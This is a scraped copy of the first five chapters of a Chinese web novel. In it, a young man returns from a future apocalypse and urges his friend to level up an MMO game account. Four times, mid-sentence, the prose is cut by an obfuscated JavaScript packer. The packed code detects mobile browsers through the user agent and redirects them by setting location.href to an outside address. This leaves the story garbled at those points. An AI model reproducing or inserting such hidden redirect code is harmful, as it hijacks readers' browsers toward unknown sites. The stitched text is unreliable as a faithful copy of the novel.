《氪金玩家勇闯末世》 1. 第 1 章 “一百天后末世就会降临！动物植物和人类都会被污染，极少数人能在污染中保持清醒并进化出异能，但是大多数人只会堕落成污染物，唯一能保证大家安全进入末世的外挂就是《神域》的游戏账号——凡是注册过《神域》账号的玩家在末世里都可以继承账号的所有技能，装备和背包！” “还没点开就猜到是《神域》玩家了” “无敌了，《神域》玩家又在拉客” “我能每天哪都不去就看遍全网烂梗全亏了《神域》玩家的花式整活” “……” 陆燃扫过屏幕上的这个帖子，没太当回事，《神域》，就如同这个帖子里跟帖的人所说，拥有一群极其热爱花式拉客的玩家，他们这个小论坛的游戏版都已经习惯了，看见什么奇奇怪怪的帖子标题，不用点进去就知道肯定是《神域》玩家又在整活。 原因嘛……很简单很淳朴。 《神域》是个制作精细但玩的人并不是很多的网游，玩家深感这游戏明珠蒙尘，觉得它什么都好，就是缺宣传，于是自发地努力地开始了自来水。 一开始还是挺严肃认真的自来水，但是太严肃认真的自来水没人看，于是一些玩家开始整活，发展到最后，宣传什么的已经没人在意了，这场自发的自来水变成了一场比较谁更擅长标题党更擅长引流的大赛。 而不管他们怎么努力，《神域》的玩家群体就是很稳定，稳定的低。 没办法，这是个传统类型的网游，主打一个玩游戏如上班，每天光最基础的日常就要将近一个小时，还有各种周本周常，一些难打的副本可能要玩家花上几个小时甚至几十个小时，因此要在游戏里成为高玩，就必须至少付出每天近十个小时的努力——那可不就是上班嘛！ 这年头，谁还有这个时间，手游简单方便又省时，作为载体的手机普及度也远高于电脑，传统网游已经过气了，所以《神域》玩家们层出不穷的花活注定只是无用功而已。 于是到了最后，大家就纯粹是在玩了，这个论坛的坛友也已经被训练出了一看见奇奇怪怪的标题就知道是《神域》玩家的条件反射。 陆燃也不例外，所以他并没把这帖子当回事，直接往下翻了起来，但就在他彻底将这个只瞥了一眼的帖子抛在脑后的时候，他这间小公寓的门突然被敲响了。 陆燃有些迷茫地从电脑前抬起头，他这扇门很少被敲过——或许应该说从来没有。 他从小父母双亡，也没有任何亲戚，在孤儿院长大，上学虽然可以靠学费减免和助学金，但是其他花销就要他自己想办法了，所以他一直很忙，忙着读书也忙着打工。 上了大学之后，因为舍友太吵，所以他在学校旁边租了这间十平米的小公寓。 虽然面积小，但是他们学校非常不幸地坐落于市中心，这十平米真是一点都不便宜。 于是他的课余时间就彻底被打工占满了，再加上他本来就是不爱说话的性格，所以上了一年多学了，和同班同学讲的话一只手都数得过来，熟人更是完全没有——所以到底谁会来敲他的门？ 物业吗？还是推销的？陆燃漫无边际地思考着各种可能性，慢吞吞地起身跨过地面上杂七杂八的东西去开门。 他缓慢地打开了一条门缝，出现在他视野里的，却是一个他完全想不到会在这里见到的人。 “陆燃！” 门一开，出现的是一张长相阳光但现在看上去更多的是憔悴的男大学生脸庞，他看见陆燃的那一刻，眼里迸发出了……陆燃不知道该怎么形容的光，大概是一种劫后余生的喜悦吧。 “江朗？你怎么来A市了？” 陆燃有些迷惑地打开了原本还有些半掩的门。 江朗是他发小，也可以说是他从小到大唯一的朋友。 他们从小学到高中一直在同一所学校同一个班，大学则去了不同的省份，江朗上学的城市离这里大概有七个小时车程，坐飞机过来倒是只要一个多小时，但是他们那个城市机场修得很偏僻，离他学校很远，光是去机场就挺耗人的——这大概就是江朗看上去一脸风尘仆仆的理由。 他打开门，示意江朗进来。 他还没来得及转身，江朗就猛地扑了上来，一把子他抱了个满怀。 被猛地一扑后没站稳差点向后踉跄了两步的陆燃：？ 他很想问这是在做什么，但是耳旁却传来了江朗闷闷的声音，声音里甚至带着一丝隐隐的哭腔：“太好了……你还活着……” 陆燃：“……你不会是做梦梦到我死了就飞过来确认我还活着没吧？” 有那么一小部分的他，是真的认真在问这个问题，因为以前江朗还真干过这种事。 那是他们还在上小学时候的事了，某天早上，刚准备拎起书包去上学的小陆燃刚走出门，就看见了一位面带尴尬的女士。 以及被她牵着的哭得一把鼻涕一把泪的小江朗。 小陆燃出现的那一瞬间，小江朗就扑了上来，抹了他一身的鼻涕和眼泪。 那位尴尬的中年女士拉了半天也没能将化身八爪鱼的儿子从这位看上去有些冷淡的小孩身上拽下来，只能略带歉意地解释昨天晚上小江朗做梦梦到陆燃被怪兽吃掉了，然后闹了大半夜要去救陆燃，被折腾了整个后半夜的两口子答应他天一亮就一定带他去救他同学……于是就有了这一幕。 那天小陆燃不得不和小江朗手牵着手一起去上学，并且享受到了对方全天候寸步不离的“保护”。 不过他认真问的那一部分真的是很小的一部分。 毕竟他们现在都不是七八岁的小孩了，即使是江朗，应该也不会再对一个梦信以为真并因为这种理由跑来确认他的死活了。 陆燃更多地还是想开个玩笑打破这莫名悲伤起来了的氛围。 而江朗也果然笑出了声，陆燃安静地等着江朗胸腔的震动停止，然后江朗慢慢地放开了他。 拉开距离后，陆燃终于看清了江朗此时脸上的神情。 虽然带上了笑，但江朗此时的神情在陆燃看来依旧很陌生，那是一种陌生的沧桑和悲伤，这不该是出现在江朗脸上的表情，江朗是那种难过都难过得干净而明亮的人，陆燃不禁皱了皱眉——到底发生了什么事会让江朗露出这样的神情？ 他的念头还没转完，江朗就收起了他脸上的所有表情，一脸严肃地说——这种纯然的严肃，陆燃也没在江朗脸上见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373203|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过： “陆燃，要末日了，从现在开始，你先把别的事都放放，优先练你那个神域账号。” 陆燃眉头紧锁的思考神色慢慢地转化成了另一种困惑： “哈？” 他很快就联想到了刚刚点开的那个帖子：“你不会是信了论坛上那个帖子吧？” 江朗拿起陆燃桌上的水喝了一口，才接着说：“那个帖子就是我发的。” 陆燃：“……” 江朗：“我知道这很难相信，但我保证这都是真的，就在十个小时之前，我还在末世里，然后我就……呃，这叫什么，重生回来了？然后我就立刻发了那个帖子，然后就来找你了，你信我！我说的都是真的！再过一百天，这个世界就会变异，唯一的‘外挂’就是《神域》这个游戏，凡是有《神域》账号的人都会自动继承技能和背包，你快练号！” 如果是别人在说这样的话，陆燃肯定不会信。 但是他和江朗认识太久了，江朗从小就不擅长说谎，他唯一一次说谎还是小学时候想逃课和朋友去玩，结果说个谎给自己紧张出了急性胃炎，装病成了真病，去医院打了好几天点滴才好。 而且……陆燃眼前不断地闪过刚开门时江朗脸上的神情，那种沧桑，那种悲伤，那种不同于他熟悉的江朗的疲惫气质，让他不由得地想要相信他的话——因为如果不是经历过末世这样的环境，他认识的那个，说得好听点叫傻白甜说得难听点就是一根筋的江朗，怎么可能会露出这样的表情？ 那么，以江朗的话都是真的为前提的话—— “所以，我是死了吗？死在了你面前？” 江朗的脸上瞬间露出了一种被刺痛的神情，陆燃上次在江朗脸上见到这样的表情，是他父母出车祸双双身亡的时候。 不用江朗回答了。 他伸出手按了按江朗的肩膀，作为他问出这个勾起他伤心回忆的问题的道歉。 也作为他相信他了的表示。 江朗立刻就松了口气，他和陆燃一块长大，对他的肢体语言的研究远胜于所有人，陆燃一抬手他就知道他想说什么，他们大部分的交流都不需要用上语言。 眼见陆燃信了自己的话，江朗绷着的那股劲瞬间就松懈了下来，他的两肩瞬间垂了下来，眉眼间的疲惫几乎要溢出来，陆燃刚要整一下床铺让江朗睡一会，就看见江朗整个人颤抖着看向了他床脚处的位置，然后他颤抖着问： “那是——那是炸鸡，可乐和麻辣烫吗？” “是啊。” 他刚点的外卖，还没吃。 “能……能分我一半吗？” 陆燃：“……” 陆燃：“你在末世待了几年？” 江朗歪了歪头：“不知道，其实到最后已经完全对时间没概念了，可能快十年？” 陆燃拎起外卖袋子，递给江朗。 “你都吃了吧，我再点一份。” 江朗眼泪汪汪，掀开麻辣烫盖子就开始狼吞虎咽，左一口炸鸡，右一口可乐。 陆燃看见他连麻辣烫那油腻腻的汤都没放过，直接往嘴里倒的时候，再一次确认了——江朗说的应该都是真的，他是真的刚从末世回来。 2. 第 2 章 江朗以风卷残云之势吸溜完麻辣烫之后，就正面朝下一个猛子扎在陆燃的床上睡着了，陆燃则准备上线。 他是有《神域》账号的。 大概两年前，就是他和江朗高中毕业那个暑假，《神域》开启公测，江朗看宣传片挺想玩的，就拉着陆燃一起注册了账号。 不过那个暑假之后，陆燃没什么时间玩了，他这个号子也就一直荒废着了，暑假练完什么样，后面就还是什么样，偶尔有空才上线陪江朗玩一会儿，和江朗那个花了很多时间很多精力以及很多金钱的号站在一块的时候，对比非常强烈，有点像人傻钱多的少爷和他穷苦的仆从。 不过虽然他这个号要等级没等级，要装备没装备，导致伤害非常磕碜，没法陪江朗下本，但胜在他选的是控制系职业，等级装备差点也只影响伤害，不影响技能效果，再加上他操作犀利走位风骚，偶尔上线帮江朗溜溜他的仇敌倒是毫无压力。 那个暑假选职业的时候，江朗有个法爷梦，秒选了基础装就是一身黑袍的秘术师，陆燃则出于个人喜好选了织灵者这个有很多控制技能的职业。 这两个职业算是《神域》里的两个极端，秘术师是典型的PVE职业，伤害爆炸但是个读条职业，PVP里占尽劣势。 （注：PVE：playervsenvironment，主打副本的玩家；PVP：playervsplayer，玩家对战玩家） 好在江朗本来就只爱打本，深感秘术师就是最适合他的职业——虽然陆燃每次上线总能看见他这个纯PVE玩家在因为莫名其妙的原因被人追杀。 织灵者则是典型的PVP优势职业，机动灵活，控制技能多，特色是大招“精神链接”。 这是个非常变态的技能——长达12s的群控，而且还可以任选一个被控玩家进行操作。 过于变态以至于游戏设计师想了各种办法来限制这个技能，比如加上“受控者被受到伤害后控制效果自动取消”来限制过长的控制时间，又给每个其他职业都加上了一两个解控和免控技能，基本就是为了针对织灵者这个变态的大招。 而织灵者这个名字就来源于这个大招，这一职业完整的称呼应该是心灵编织者，因为被“精神链接”的玩家会像蛛网上的猎物一样被银色的丝线缚住，而这些丝线的源头或者中心就在织灵者身上。 一般来说，织灵者有两种点技能的路线，PVE玩家会点两三个必要的，或者说职业特色的控制技能然后狂堆伤害，走PVP路线的玩家则反过来，点两三个划算的伤害技能然后狂堆控制。 陆燃嘛……两者都不是。 他上线主要就是陪江朗玩，有江朗这个伤害爆炸的法爷在身边，他甚至懒得点那两三个划算的伤害技能，七个技能格子里除了一个免控以外，其余六个格子他放的都是控制技能。 其实这种剑走偏锋的极端的点技能方式，一开服就有人讨论过。 哪个游戏都不缺爱玩骚操作的玩家，《神域》也是，他们看见织灵者这个大半可选技能都是控制技能的职业后，立刻讨论了起来有没有可能实现“永控”或者接近“永控”。 经过严密的计算和大量的实践，玩家们得到了一个共识——即使采取最极端的全控制技能选择，他们距离“永控”这个目标依旧有每十五秒就会出现一次的3秒真空，这还是excel战神才能达成的最理想的技能循环，实践中这个真空期基本会在3.2s-3.5s，毕竟人的手操是有误差的——只能说游戏设计师有在干活，没有给玩家搞骚操作达成永控的机会。 而且由于织灵者除了那几个强势控制技能以外，剩下的控制技能都七零八碎的，什么一秒半秒的控制时间都出来了，再加上为了职业平衡考虑，每个职业都有属于自己的解控技能，所以就连这12s的连控都基本只是纸面上才有可能。 而且这种技能选择会导致织灵者完全没伤害——没伤害把人控制又有什么用？给对方挠痒痒吗？ 一通连控猛如虎，一看血量就掉了个血皮。 而到了你的技能真空期，就形势逆转，轮到对方狂揍你了。 还不如稳扎稳打，控制与伤害兼备，趁着控住对手的几秒疯狂输出。 因此这种极端的技能选择方式，只在《神域》开服初期热了一下，后面就没人这么干了。 除了陆燃。 陆燃这个号，等级低装备差，照理来说，血薄到技能真空期被人抓一下就会死。 但他就是不会被抓到。 他的预判和走位都精准到让人直呼这个人是挂，对技能时间的把控更是刁钻，愣是能以人手做到接近excel算出来的纸面真空时间。 于是，他愣是在技能设计不支持玩家达成永控链的情况下，靠操作与走位达成了近乎“永控”对手的效果。 这个服里很多人都知道那个浑身装备都闪耀着金钱气质的全服dps第一的秘术师身边偶尔会冒出来一个装备很差但极其难缠的织灵者。 这种时候就很不适合去追杀该只堆了暴力输出但完全没点PVP技能的秘术师了——那个装备很差的织灵者能把人溜到死都死得晕晕乎乎的。 想打他得先熬过一大堆乱七八糟的控制技能，好不容易熬过了，又根本摸不到他的衣角，转眼间他的技能就又都好了（……），想跑？谁跑得过织灵者这个主加点为敏捷的长腿职业啊！关键他等级低装备差！打在你身上的伤害都是个位数！磨得你没脾气！——人送称号传奇刮痧王。 一开始还有人不信邪，觉得他刮痧刮这么久，时间长了肯定得状态下滑出点啥失误吧，总能轮到他们反杀的，结果他们发现，这个织灵者不是挂那就肯定是机器人！几十分钟都能保持那种精确严密如外科医生一般的操作，请问这不是机器人是什么？！ 还不如期待一下旁边的秘术师看你可怜一个暴力吟唱送走你呢。 所以后来陆燃一上线，江朗的仇家就自动绕着他走，他上个学期上线比较频繁的时候，江朗一天天过得就非常和平。 这学期他比较忙，江朗也知道他忙，也不喊他玩游戏了，所以他一个学期都没上线，也不知道江朗是不是又在被各种奇怪的人追杀——说来也奇怪，他觉得没有比江朗更热爱和平的人了，他甚至不主动参与PVP玩法，但就是三天两头被人追杀，可能这就是高手的负担——枪打出头鸟吧。 陆燃在他乱七八糟的电脑桌面上翻了半天，终于在一堆软件里找到了一个学期没打开过的《神域》客户端。 双击启动。 映入他眼帘的赫然是——18个G的更新包。 陆燃：“……” 好吧，毕竟一个学期没上线了，算一算他估计是错过了一个大版本更新还有数不清的小版本更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过现在不一样了，他是真的得拿出上学上班的劲头来打游戏了。 最新的织灵者顶尖装备和他印象里相比，果然已经更新换代了，主要是大版本更新带来了两个新的高难大型副本，所以图纸和对应的材料全都换代了。 陆燃认认真真读了会儿这两个副本的攻略，顺便把方便面吃完了，切出来一看——很好，这个巨大的更新包终于下完了。 他总算上线了！ 不容易。 上线第一件事，先去充钱。 他直接操作着角色朝拍卖行走了过去。 他不知道是，有人看见他上线，立刻向自己的“老大”汇报了起来。 “老大！三重纽带那个御用打手上线了！” “哼，我们追杀了他一个礼拜，他在主城区里躲了一个礼拜果然还是忍不住去搬救兵了，他这周周本CD都没清，喊打手上线肯定就是为了去副本，你们几个继续盯着人，我们去埋伏！” （CD：cooldown冷却时间） “老大……真要打吗？不是说火之哀伤都被这个打手打得金盆洗手了吗……” “那是他傻！和织灵者玩单挑，他不挨揍谁挨揍！我们可是有一群人！” 小弟一时哽住——老大！你能不能不要把以多欺少这种事说得这么骄傲啊！ 3. 第 3 章 打开拍卖行，陆燃先小氪了几千块进去。 不多氪，倒不是因为他没钱，他虽然一直过得很节俭，但并不是因为入不敷出，他的兼职赚得不少，再加上拿了学校的奖学金和助学金，从高中到现在，他一共也攒下了十几万存款，过得节省只是单纯因为习惯以及为了日后的生活打算而已。 不过现在已经没有所谓“日后的生活”可以打算了，所以也就没什么省钱的必要了。 他不多氪其实只是因为游戏里大头的交易其实在玩家的私下交易上。 比如隔壁服前段时间出了个大新闻——有人爆出一张时间系卷轴然后走游戏外交易卖了五十万，人民币，不是游戏币。 这个数目让玩家们纷纷震惊，膜拜土豪的同时觉得这年头的有钱人真是钱多得没地方花。 这个例子有点极端，不过大致就是这样，真的能卖大价钱的稀有物品，持有者一般就不会挂拍卖行了，而是想直接变现。 他来拍卖行充钱主要是扫荡一些他急缺的基础物品。 比如精炼装备用的宝石——虽然他现在身上还一件需要精炼的装备都没有。 甚至比如更基础的——经验书。 毕竟他是个等级都没拉满的幼苗玩家，而《神域》大部分玩法只对满级玩家开放，比如他要去刷装备图纸和材料的两个高难本。 其实如果时间允许，他是不想买经验书的——这玩意儿的唯一获取途径是商城各种各样礼包的附赠品，一般都是买礼包的人嫌这玩意儿没大用挂出来回血——用这玩意儿还不如自己多肝会儿。 这种能靠肝解决的事其实他也不想花钱，但很遗憾，他现在要抢的就是现实世界的时间，今天是周日了，不立刻拉满等级去刷本，他就要少一个副本CD——考虑到《神域》那坑爹的掉率，很可能会直接导致他最后都没做完装备，这种事情他不是很能接受，所以他也只能做一次人傻钱多的土豪了。 他打开拍卖行，在搜索栏里输入“经验书”，页面上立刻出现了十几页的商品。 价格一致，数量有多有少，挂上去的时间最近的是今天，最远的则是二十多天前，一看就是没啥人买的商品，这些卖家估计也就是抱着不挂白不挂的心情放上来的。 他们今天也是走运了，终于有人来“进货”了。 陆燃直接一个“全选”，将拍卖行这十几页的经验书全都拍了下来，顺便看了眼价格——还好，也就几百块。 但是疑似不够他升满级的。 果然，点“使用”点得他手都快断了，终于把这堆经验书用完，他的等级才升上了89级——《神域》现在的满级是100级。 和大部分网游一样，《神域》中随着等级上升，升一级所需的经验是呈指数级上升的，这最后11级所需的经验，估算一下估计和他刚刚升的那几十级用掉的经验差不多。 拍卖行里的经验书已经被他扫荡一空，于是他将鼠标移到世界频道。 “[燃风]：市价收经验书，越多越好，走廊门口的拍卖行交易” 他们幻月之庭的据点有个很长很难记的名字，叫做“月光，梦境，雾与迷失的心灵的回廊”，我勒个去谁记得住这么长的名字啊，所以玩家一般亲切地称呼它为走廊。 “[我的美貌在你之上]：大耗子本5=1t，来个人就开” “[无敌の泰坦]：[叶凌风]你有本事抢怪你有本事说话啊！” “[做人要素质]：[叶凌风]死了！” “[做人要素质]：[叶凌风]死了！” “[做人要素质]：[叶凌风]死了！” “[哥是一个帅气的男子]：有没有漂亮MM呀？我带你刷本呀，漂亮人妖也可以” “[天煞孤星]：一金收碎晶，有没有出的？” “[做人要素质001]：[叶凌风]鼠了！” “[做人要素质001]：[叶凌风]鼠了！” “[做人要素质001]：[叶凌风]鼠了！” “[做人要素质001]：MD傻逼管理员禁我言！” “[八爪鱼]：有没有还没做日常的？是个活人就行” “[客官这边请]：猴子本五缺一，等你一个哟~” “[做人要素质002]：……” 世界频道一如既往的嘈杂，喊人的交易的骂架的，陆燃的消息刚发出去还没半秒就被刷不见了。 之前没在世界频道发过言甚至没怎么看过世界频道的陆燃：“……” 他上官网拿“世界频道”为关键词搜索了一下，不能就他有这种问题吧？ 果然，提问的人还真不老少，答案也很简单，去商城买个一块钱的小喇叭，就能让你的尊贵消息在世界频道置顶一分钟。 帖子下面大部分人都表示还是算了吧，他们还是用刷屏这种传统办法吧。 倒是有些提这个问题是为了吵架和骂人的人秒速买了。 陆燃点进商城买了个小喇叭，然后重新发了遍消息。 “[燃风]：市价收经验书，越多越好，走廊门口的拍卖行交易” “[珀耳塞福涅]：？怎么有人在收经验书，是新人吗？” 小喇叭果然有用，加亮置顶后立刻有人回他了。 “[客官这边请]：新人你好，买经验书不划算的，你是不是分不清代币和金币，那玩意儿是要人民币兑换的哟~” “[做人要素质002]：不如找个代肝，现在代肝可便宜了，五百块能给你从一级拉到一百级了” “五百？哥们你被坑了吧，现在市价是三百” “[做人要素质002]：……草！我要去举报那个黑心工作室！” “xx工作室，诚接升级，日常，清CD” “老板看看我，我两百八接[可怜]” “？怎么卷起来了，喂喂喂，不要内卷啊！” [燃风]：“分得清代币和金币，赶时间，不找代肝” “我去，是有多赶时间，一般工作室的话，顶多五天就能给你拉满了” 陆燃还是那句话： “赶时间” “咦？等下，好眼熟的ID，我草，这不是那个传说中的织灵者吗？？” “我草，还真是，新人个屁啊！” “哪位？哪位？你们吃瓜能不能带带我，哪个好心人告诉我一下这是哪位？这对我真的很重要” “怎么什么人都能是传说中的啊？一89级的织灵者也传说，这服的传说是批发的吗？” “是那个啊！那个[三重纽带]的御用打手！” “好家伙！我想起来了！是那位啊！把[火之哀伤]控得没脾气然后直接退出江湖转PVE去了的那位是吧！” “大佬你好，接活吗？[三重纽带]给你多少，我出双倍！” “大佬应该很贵吧，[三重纽带]不是出了名的土豪吗？连他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373205|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只在被杀到受不了的时候请大佬出马，估计不是一般的贵” 陆燃缓缓地在输入框上抠出了一个问号，他怎么就成职.业.打.手了？是因为江朗太能拉仇恨，每次他上线江朗都在被追杀的原因吗？ “大佬你怎么突然要升级啊？你维持在这个等级难道不是为了更好地羞辱对手吗？——被刮痧至死什么的” 什么玩意儿？！ 陆燃很想问他们的传言都传了些什么——他不升级是因为没时间玩好吗？！ “其实我想问很久了，为什么[火之哀伤]不用人海战术啊” “人海战术这不是显得胜之不武吗？” “搞得像他追杀[三重纽带]一个PVE玩家胜之很武的样子” 眼见话题越跑越偏，陆燃不得不又刷了几遍“市价收经验书，走廊门口的拍卖行交易”，才把大伙的注意力从江朗和那群追杀他的人的恩怨情仇上扯开。 看陆燃是真的存心要收经验书，吃瓜群众忍不住感慨了起来： “果然土豪的朋友也是土豪啊……头一次见到大规模收经验书的，这就是有钱没处花的感觉吗？” 陆燃：…… 他就知道会被当冤大头看，不过总算有出经验书的人来了，拍卖会不远处的传送阵开始往外冒人，各色花里胡哨的角色朝他的角色跑来。 陆燃来者不拒，来的全收了。 “大佬，你是终于打算把这个号练起来了吗？” 一个经典秘术师黑袍打扮的玩家一边交易一边在队伍频道问。 [燃风]：“你是？” “你以前杀过我两次，大佬没有印象了吗？[对手指]” “算了，我这种小喽啰，不入大佬法眼是正常的呜呜” “大佬你这是小号吧？我能问你一个问题吗？大佬是真的为了更好地折磨其他人才把这个号维持在这个等级这个装备的吗？” [燃风]：“……不是。” [燃风]：“也不是小号，这就是我大号。” “？我去” [燃风]：“之前没时间玩。” “原来如此，那现在是突然有空想玩了吗？” 陆燃原本不是爱和陌生人说话的性格，但想到江朗从末世回来第一件事就是告诉所有人快去练《神域》账号，他就难得地多了几分多管闲事的心。 [燃风]：“你看见论坛那个帖子了吗？一百天后末世那个，帖子是真的，所以我开始玩了” “……” “哈哈，大佬真会开玩笑，就是有点冷” 如果虚拟角色能同步这哥们的表情，他这个角色的阴郁法师脸上一定会滴下两滴大大的汗。 琢磨不透大佬到底是在和他说笑只是笑点比较冷还是不想和他说话所以敷衍了事的玩家在尴尬中独自站立了一会儿就跑了。 陆燃也终于收够了经验书。 他终于满级了，可以组队去刷副本了，他顺便把拍卖行里所有的精炼宝石扫荡了一遍，并准备之后每天都来扫一遍。 . 另一头，负责一直盯着燃风这个号的狗腿朝他的老大汇报： “老大老大！燃风在收经验书升级！他这次有备而来啊，不打算玩越级强杀那套了！” “哼，那正好，省得显得我们以大欺小！” 小弟一时又哽住——老大，我们都打算以多欺少了，多一个少一个以大欺小的名头有任何区别吗？！ 4. 第 4 章 [燃风]：“有没有这周新周本CD还在的团，联系我，价钱好商量” 陆燃之所以这么抢着时间升级，就是为了不浪费这周的高难本CD。 《神域》每个大版本的顶尖装备，都需要最新高难本掉落的图纸和材料才能制作。 而且这些图纸和材料都属于不可交易物品，所以就算再有钱的氪佬也没法一次性到位，只能乖乖去刷本。 虽然这也不意味着氪佬的钞能力就没处用了，不擅长打本但非要追进度的老板也可以选择包团，找个带个躺尸老板也能一路平推的团就可以了。 但也有金钱也搞不定的部分，这些图纸和材料的爆率很低，尤其是做武器所需要的最重要的材料——顶晶，只有材料本的最终BOSS会掉不说，掉率还非常感人，非起来谁知道要几个月才能出——陆燃别的倒不太担心，就是担心他会不会非到最后都还没刷出顶晶。 周本每周一CD更新，且需要当前版本满级才能进入，而今天已经周日，陆燃如果不在今天就直接靠经验书拉满自己的等级，而是选择手动慢慢肝，哪怕是交给连轴转的工作室，也至少需要好几天，那么就会错过这周的机会。 所以浪费一点小钱买来一次周本CD，其实挺划算。 陆燃在世界上发出消息后，才发现自己忘记用小喇叭了，刚要去商城里再买几个，就发现已经有人来联系他了。 也是，包团的价格和经验书这种小打小闹的交易不是一回事，盯的人肯定更积极一点。 但是陆燃看了下收到的私信，发现基本都是这样的—— “晚上开本，还有一个空位，现在包团的老板只要顶晶，其他装备和材料都不要，老板考虑拼团吗？” ……不刷顶晶他特意多争取一个CD做什么？ 不过也正常，他问的时间实在太晚了，大部分团早就清完CD了，尤其是这种职业打工团，这个时间还没打的一般都是包团的老板只有周日晚上有空，所以早早提前预定好的，而现在又不是版本初期，大部分还在包团的老板都是其他的材料早就溢出但就是没刷到顶晶的。 对于打工团的团长们来说，光带这么个老板有点浪费其他材料，少赚不少钱呢，而他们又可以从陆燃的发言ID点进去看他现在的破烂装备，觉得他应该可以接受先更新一部分装备，于是来询问的大部分就是这样的团了。 陆燃礼貌回绝，然后用了个小喇叭，重新在世界上问了下还有没有全包的团，或者有没有愿意转让的，他愿意高价接。 好的，这次干脆一条私信都没了。 于是，他现在只剩下了两个选择，一个是寄希望于有没有哪个老板突然跳票导致空出来一个有CD的打手团，或者……就只能自己拉队伍了。 但周本的队伍不好组啊！ 好组也不会有那么多人选择包团了。 25人本！光能找到25个人就已经不容易了，还要25个人都不坑，不然就等着接连团灭吧。 陆燃试探着在招募频道发了个组队请求，看看有没有人愿意加入的，顺便又去发了条小喇叭。 漫长的等待后，他看见了一连串的申请。 别说，人还真不老少。 但是一串看下来……怎么都是输出呢…… T呢？奶呢？ 怎么一个都没有？ 一群输出怎么打本？这不是等着团灭吗？ 于是他这次发了个指向性更明确的小喇叭—— [燃风]：“新周本缺t缺奶，有没有还有CD的？” 世界频道立刻有人回答他： “佬，你平时不打本吧？我们服靠谱的能打高难本的t奶就那么些，基本都有固定团的，会打野队的更少，早被抢完了，怎么可能留到周日啊！” 陆燃：……好吧。 “你在组人打周本？” 江朗的声音突然在他身后响起。 陆燃“嗯”了一声，问：“你就睡这么会儿？” 江朗笑了下：“习惯了。” 习惯了什么？这个问题陆燃不用问也能猜出大概，末世的环境可想而知，随时要提防着怪物不说，还要提防着比怪物更可怕的人，江朗从来都是倒头就睡，一觉睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373206|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到天明的人，现在居然成了睡着不到一小时就会自动醒来的模样。 陆燃的心情有些复杂。 江朗：“我去问问我列表还有没有这周CD没清的。” 陆燃：“好。” 不过他没报太大期望，江朗的游戏列表都是PVE高手或者说PVE狂热者，都是一群打本有瘾的人，不太可能CD留到现在。 果然，江朗问了一圈，遗憾地说：“好吧，都打完了，咦？我自己的CD居然还在！我这段时间在干什么来着居然连游戏都没空打了……” 江朗陷入了对十年前记忆的艰难回忆。 然后失败，然后放弃。 江朗甩了甩头，清空大脑，重新回到当下：“其实少打一周也没啥吧！还有一百天呢！” 陆燃：“顶晶的爆率是多少？” 江朗：“呃……好像官方数据是百分之五？” 陆燃：“百分之五对应的期望周数是多少？” 江朗：“20周……草！怎么这么久？我感觉没见过非到这份上的人啊！” 陆燃：“估计游戏做了伪随机，实际爆率要比纸面数字更高一点，但还是得做好刷个十几周的心理准备，而且你知道我什么运气的，没准真就差这么一个CD。” 被陆燃这么一说，江朗也急了，但是他急也没啥用，他是个纯粹的输出啊，虽然他的dps在本服一骑绝尘的高，但是打本最重要的还是要有靠谱的T和奶啊！ 他脑子咕噜噜地转了起来：“你说我现在去练个血肉战士的小号还来得及吗……嗯？陆燃？” 他看向陆燃。 陆燃正盯着电脑屏幕上的游戏官网沉思。 他皱着眉，已经完全陷入到自己的思绪里去了。 他电脑屏幕上的，是官网论坛里的高难本攻略。 江朗知道陆燃一旦陷入思考就会隔绝对外界的感知，所以也不再说话，就在旁边坐了下来，等着陆燃从他的思绪中回来。 过了好几分钟，陆燃缓缓开口：“好像……没T没奶也不是不能打。” 江朗：“嘎？” 5. 第 5 章 如果换了别人讲出这样的话，江朗肯定要开喷了——“又没T又没奶那还怎么打本？请不要低估下副本的难度啊可恶！” 但是说这话的人是陆燃，而江朗对陆燃向来有种盲目信任。 ——陆燃是全世界最聪明的人，如果一件事连陆燃都想不到办法，那肯定是因为这件事就没有解决办法，但如果有人能搞定一项不可能完成的任务，那这个人一定是陆燃。 ——干嘛？你和陆燃做同学十几年也会这么觉得的！ 于是他对着帖子回顾了一下这个他十年前应该非常熟悉的副本，一边回顾一边听陆燃讲他的思路。 